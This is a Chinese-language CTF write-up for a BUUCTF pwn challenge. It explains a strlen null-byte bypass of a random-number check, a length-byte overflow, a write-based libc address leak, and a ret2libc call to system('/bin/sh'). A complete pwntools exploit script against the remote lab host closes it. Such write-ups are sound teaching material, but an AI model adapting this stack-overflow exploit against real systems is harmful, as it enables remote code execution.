查看一下保护情况
丢进ida里分析
主函数调用了一个含有alarm的函数,这个函数会设置一个定时器,到时间自动退出程序
为了方便调试,我们直接patch掉这个函数
接着分析,主函数读入了一个随机数,并将其传入sub_804871F函数
sub_804871F函数读取输入,并检查输入的是否和随机数相同,不相同会直接退出程序
之后会返回buf[7],为了构造栈溢出,我们要使这个buf[7]最大化
当buf与s数组完全相同时,strncmp结果会为0,但是s为系统生成的随机数,而buf是我们输入的数据,很难使两者相等。
另一种办法就是使v1等于0,这样strncmp的结果仍为0,而v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可。
所以buf=b'\x00'+b'A'6+b'\xFF'+b'B'10
将buf[7]最大化,方便后续的栈溢出
这里使用write进行泄露地址,write有三个参数
第一个是文件句柄,0为标准输入,1为标准输出,2为标准错误
第二个是要写的内容
第三个是要写的字节数
后面就是正常的ret2libc了
exp
from pwn import *
#context.log_level = 'debug'
p = remote("node5.buuoj.cn",29568)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825
write_offset = libc.sym["write"]
system_offset = libc.sym["system"]
binsh_offset = libc.search(b"/bin/sh").__next__()
payload1 = b'\x00'+b'A'*6+b'\xFF'+b'B'*10
p.sendline(payload1)
p.recvuntil(b'Correct\n')
payload2 = b'A'*235 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(8)
p.sendline(payload2)
write_addr = u32(p.recv(4))
#info(hex(write_addr))
libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh = libc_base + binsh_offset
p.sendline(payload1)
p.recvuntil(b'Correct\n')
payload = b'A'*235+p32(system_addr)+p32(main)+p32(binsh)
p.sendline(payload)
p.interactive()